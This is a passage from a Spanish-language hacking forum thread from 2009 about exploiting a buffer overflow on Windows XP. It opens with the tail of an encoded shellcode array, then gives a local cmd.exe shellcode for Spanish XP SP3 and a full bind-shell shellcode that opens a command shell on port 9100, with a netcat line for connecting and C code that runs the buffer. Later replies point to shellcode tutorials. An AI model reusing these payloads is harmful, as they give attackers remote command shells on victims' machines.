    "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
    "\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\xdd\x5a\x60\xdf\xda\x8a\x81"
    "\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
    "\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
    "\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
    "\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
    "\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
    "\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
    "\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
    "\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
    "\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"
    "\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
    "\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
    "\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
    "\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
    "\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
    "\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
    "\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
    "\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
    "\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
    "\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
    "\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
    "\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
    "\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
    "\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
    "\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";
    
    
    // POC. Local Cmd Shell for Windows XP SP3 in spanish.
    char shellcode5[] =
     "\xB8\xFF\xEF\xFF\xFF\xF7\xD0\x2B\xE0\x55\x8B\xEC"
     "\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45"
     "\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45"
     "\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45"
     "\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3";      

     // Bind shell code. Cmd shell on 9100 port, by RaiSe <raise@enye-sec.org>.    Funciona.     correctamente
     // nc ip.ip.ip.ip 9100
     char shellcode6[] =
    "\xeb\x08\x90\x90\x90\xeb\x08\x90\x90\x90\xe8\xf6\xff\xff\xff\x58\x66\x05\xaa"
    "\x01\x8b\xd8\x24\xfc\x8d\x80\xac\xfd\xff\xff\x8b\xe8\x8d\x80\xac\xfe\xff\xff"
    "\x8b\xe0\x89\x5d\x10\x32\xd2\x88\x53\x0e\x88\x53\x1b\x88\x53\x26\x88\x53\x31"
    "\x88\x53\x3c\x88\x53\x41\x88\x53\x48\x88\x53\x4f\x88\x53\x5e\x88\x53\x6a\x88"
    "\x53\x6e\x33\xd2\xb2\x30\x64\x8b\x1a\x8b\x5b\x0c\x8b\x5b\x0c\x8b\x1b\x8b\x1b"
    "\x8b\x5b\x18\x89\x5d\x14\x8b\x7b\x3c\x03\xfb\x8b\x57\x78\x03\xd3\x8d\x4a\x1f"
    "\x41\x8b\x01\x03\xc3\x33\xc9\x52\x8b\xd3\x50\x5b\x33\xc0\xfc\x8b\x3b\x03\xfa"
    "\x8b\x75\x10\x33\xc9\xb1\x0e\xf3\xa6\x74\x0b\x90\x90\x90\x90\x83\xc3\x04\x40"
    "\xeb\xe7\x90\x5a\x8b\xc8\x8b\x45\x14\x8b\x5a\x24\x03\xd8\x33\xff\x66\x8b\x3c"
    "\x4b\x8b\x4a\x1c\x03\xc8\x8b\x34\xb9\x03\xf0\x89\x75\x18\x8b\x5d\x10\x8d\x5b"
    "\x0f\x53\x8b\x4d\x14\x51\xff\xd6\x8d\x5b\x0c\x43\x53\xff\xd0\x89\x45\x1c\x8b"
    "\xfb\x8b\xd0\x8d\x5d\x24\x33\xc9\xb1\x07\x51\x33\xc9\x49\x32\xc0\xf2\xae\x52"
    "\x57\x52\x8b\x75\x18\xff\xd6\x5a\x89\x03\x43\x43\x43\x43\x59\x80\xf9\x03\x75"
    "\x07\x90\x90\x90\x90\x8b\x55\x14\xe2\xda\x8d\x95\xfc\xfd\xff\xff\x52\x33\xd2"
    "\x66\xba\x01\x01\x52\x8b\x5d\x24\xff\xd3\x33\xd2\x52\x52\x52\x52\x42\x52\x42"
    "\x52\x8b\x5d\x28\xff\xd3\x89\x45\x40\x33\xd2\x52\x66\xba\x23\x8c\x66\x52\x66"
    "\x33\xd2\xb2\x02\x66\x52\x8b\xdc\xb2\x16\x52\x53\x50\x8b\x75\x2c\xff\xd6\x33"
    "\xd2\xb2\x05\x52\x8b\x55\x40\x52\x8b\x75\x30\xff\xd6\x33\xd2\xb2\x16\x52\x54"
    "\x8d\x55\xb0\x52\x8b\x55\x40\x52\x8b\x75\x34\xff\xd6\x8b\xf0\x33\xc9\x66\xb9"
    "\x21\x01\x66\x49\x8d\xbd\xb0\xfe\xff\xff\x33\xc0\xf3\xaa\x8d\xbd\xb0\xfe\xff"
    "\xff\xc6\x07\x44\x89\x77\x38\x89\x77\x3c\x89\x77\x40\x66\xc7\x47\x2c\x01\x01"
    "\x8d\x95\xb0\xfe\xff\xff\x8d\x52\xac\x52\x57\x33\xd2\x52\x52\x52\x42\x52\x4a"
    "\x52\x52\x8b\x7d\x10\x8d\x7f\x6b\x57\x52\x8b\x75\x38\xff\xd6\x33\xd2\x52\x8b"
    "\x75\x3c\xff\xd6\x47\x65\x74\x50\x72\x6f\x63\x41\x64\x64\x72\x65\x73\x73\x08"
    "\x4c\x6f\x61\x64\x4c\x69\x62\x72\x61\x72\x79\x41\x08\x77\x73\x32\x5f\x33\x32"
    "\x2e\x64\x6c\x6c\x08\x57\x53\x41\x53\x74\x61\x72\x74\x75\x70\x08\x57\x53\x41"
    "\x53\x6f\x63\x6b\x65\x74\x41\x08\x62\x69\x6e\x64\x08\x6c\x69\x73\x74\x65\x6e"
    "\x08\x61\x63\x63\x65\x70\x74\x08\x43\x72\x65\x61\x74\x65\x50\x72\x6f\x63\x65"
    "\x73\x73\x41\x08\x45\x78\x69\x74\x50\x72\x6f\x63\x65\x73\x73\x08\x63\x6d\x64"
    "\x08";    

  int (*func)();
  func = (int (*)()) shellcode6;
  (int)(*func)();
}

« Última modificación: 6 Noviembre 2009, 10:03 por MrPoor » En línea

Mpoor es super guay te o juro
<script&#62
MrPoor

Desconectado Desconectado

Mensajes: 15


Ver Perfil WWW
Re: Problema para explotar buffer overflow en Windows XP
« Respuesta #13 en: 6 Noviembre 2009, 09:44 »

Mírate el siguiente, que es muy bueno, todo el hilo en sí.

Tutorial

El tutorial lo encontrarás en algunos de los comentarios, porque el enlace de Rojodos no funciona ya.

Si no búscalo en Google que están todos lados (en set-ezine.org tutoriales está).

Ahí te explica como hacer la shellcode paso a paso, pero repito, tienes que saber programar bien en C y en ensamblador, si no olvídate.

Más abajo hay este mensaje hay ahora mismo alguien preguntando sobre manuales básicos de Overflow y shellcodes.
« Última modificación: 6 Noviembre 2009, 10:00 por MrPoor » En línea

Mpoor es super guay te o juro
<script&#62
Belial & Grimoire


Desconectado Desconectado

Mensajes: 314


Tea_Madhatter


Ver Perfil
Re: Problema para explotar buffer overflow en Windows XP
« Respuesta #14 en: 7 Noviembre 2009, 04:50 »


hola

gracias de nuevo... ya entendi mas sobre las shellcodes... lo unico que no logre entender es como se reemplazan los nulos por instrucciones equivalencias, pero me imagino que eso lo aprendere cuando estudie asm, cierto?

bueno, lo de rodojos por alli saque copias, luego las volvere a estudias, de alli fue como aprendi a hacer exploits y causar crash sobrecargando argv y argc... y es cierto.. alli muestra como sacar la shellcode de cmd.exe... pero bueno, por alli buscare mas cosas sobre shellcodes

salu2  ;D
En línea

.                                 
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Manual] Buffer Overflow en Windows « 1 2 3 4 »
Hacking Avanzado
ikary 45 15,671 Último mensaje 3 Mayo 2011, 14:51
por mordiskos
Problema Con Buffer Overflow
Bugs y Exploits
Blackhawk222 10 1,056 Último mensaje 15 Enero 2011, 08:27
por Blackhawk222
Routerpwn, un framework para explotar dispositivos embebidos
Hacking Avanzado
hkm 5 2,042 Último mensaje 4 Agosto 2011, 08:01
por m0rf
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines